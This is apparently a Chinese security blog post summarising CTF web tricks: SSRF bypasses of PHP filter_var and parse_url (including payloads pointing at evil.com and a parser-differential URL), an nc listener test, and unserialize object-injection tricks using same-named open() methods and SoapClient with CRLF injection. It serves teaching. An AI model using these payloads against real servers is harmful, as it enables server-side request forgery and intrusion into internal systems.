点击蓝字关注“合天智汇”,获取更多干货
1
前言
最近参加了一些比赛,也看了一些国外比赛的题解文章,感觉学到很多东西,于是在此总结一下
2
some trick in ssrf
1
trick1 filter_var() bypass
之前看到一篇文章,觉得写得很不错,于是在此总结一下
比如说如下代码
我们能够进行ssrf吗?
首先看一下filter_var()的作用
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
比较常见的选项有:
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url
这里我们的过滤显然是检查是否为有效url
简单尝试一下:
http://localhost/web/test/22.php?url=http://skysec.top
得到回显
Argument: http://skysec.top
H:\wamp64\www\web\test\22.php:6:
array (size=2)
'scheme' => string 'http' (length=4)
'host' => string 'skysec.top' (length=10)
再试一个:
http://localhost/web/test/22.php?url=http://skysec;
得到回显:
Argument: http://skysec; Error: Invalid URL
很显然后者不符合url的匹配要求
那么我们再来看最开始的代码
1.filter_var对url进行check
2.parse_url获取url的host
3.对host进行正则匹配,判断是否以skysec.top结尾
那么这样可能存在ssrf吗?
文章:https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
中提到了一种方法,我觉得学习到一手:
我们可以访问
http://localhost/web/test/22.php?url=0://evil.com:80,skysec.top:80/
或
http://localhost/web/test/22.php?url=0://evil.com:23333;skysec.top:80/
当使用了exec()函数,例如样题代码中exec('curl -v -s "'.$r['host'].'"', $a);时
可以使用
http://localhost/web/test/22.php?url=0://evil$skysec.top
这样都可以绕过检测,达到请求任意ip,任意端口的目的
不妨测试:
我们将上述代码放在自己的vps上:
1.监听23333端口:
root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
访问
http://vps_ip/testsky/index.php?url=0://vps_ip:23333;skysec.top:80/
可以在监听中收到:
Connection from [vps_ip] port 23333 [tcp/*] accepted (family 2, sport 37996)
GET / HTTP/1.1
Host: vps_ip:23333
User-Agent: curl/7.47.0
Accept: */*
发现成功请求到我们指定的ip:port
2
trick2 libcurl and parse_url()
这个点是在34c3中的一道题中学到的
首先列出参考链接:
http://www.freebuf.com/articles/web/159342.html
https://www.jianshu.com/p/ef6cf8665a64
个人认为这两篇文章分析的很透彻,其中ssrf的trick在于
parse_url与libcurl对curl的解析差异
测试环境为
php 7.0
libcurl 7.52
匹配规则
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
比如如下url:
http://u:p@a.com:80@b.com/
php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
而libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题
我们假设一个环境:
1.利用curl对用户给出ip进行访问并获取内容
2.为防止ssrf,我们利用parse_url进行解析,设置waf
那么就以刚才的url为例:http://u:p@a.com:80@b.com/
如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip
而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip
当然34c3的这题可以学到的知识远远多于这一点,有兴趣的可以去搭建一下环境,题目已开源:
https://github.com/eboda/34c3ctf/tree/master/extract0r
3
some trick in unserialize()
1
trick1 Method with the same name
这个方法是来自于Insomnihack Teaser 2018 / File Vault
首先给出官方的题解
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
其中关键代码如下
php
function s_serialize($a, $secret) {
$b = serialize($a);
$b = str_replace("../","./",$b);
return $b.hash_hmac('sha256', $b, $secret);
};
由于str_replace的存在,我们可以破坏序列化对象,并引入恶意代码
举个例子
我们有
php
运行脚本不难发现
SessionHandler->open
ZipArchive->open
XMLReader->open
SQLite3->open
拥有同名函数open()的类有4个
而在file-vault这道题目中ZipArchive->open()可以用来删除文件.htaccess,以便可以运行小马
所以最后由于str_replace的原因,我们成功进行了对象注入,以其他拥有同名函数的对象,完成了意想不到的操作
2
Magic Method call()
这个trick来自于刚结束的N1CTF的hard php
题目需要使用ssrf,但是整个题目就只有2个漏洞点:
1.sql注入
2.伪造任意的php内置类
sql注入显然在这道题里只是用来获取管理员密码的,与SSRF无关
那么看来SSRF就是在伪造任意的php内置类了
题目中可控并且可进行反序列化的类为
php
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
经过上一个trick点,我们可以知道不可能存在某个同名函数getcountry()拥有ssrf的能力的
但此时,我们查阅相关手册可以发现:
public mixed __call ( string $name , array $arguments )
在对象中调用一个不可访问方法时,__call() 会被调用
而此时我们可以发现php内置类:SoapClient
这个类可以发送url请求,但是新的问题来了:
该类是用来发送xml的,发送的请求Content-type为Xml
我们如何才能让他伪造post数据包呢?
这里我们可以发现SoapClient的参数中有user_agent项
可以进行CRLF注入
所以最后我们可以构造soapclient对象
php
由此题可见,倘若我们有可控的反序列化注入点,很有可能可以构造ssrf进行攻击!
另外此题已经开源,有兴趣的可以自行搭建:
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
4
总结
经过一番对比,真的可以感觉出明显的差距,国际赛值得学习的点真的很多,本渣渣还需继续努力Orz,像大师傅们致敬!
最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。
看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》
还不过瘾?加入我们的直播开始学习吧!
学习完了别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
重金悬赏 | 合天原创投稿等你来!(点击了解投稿详情)
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→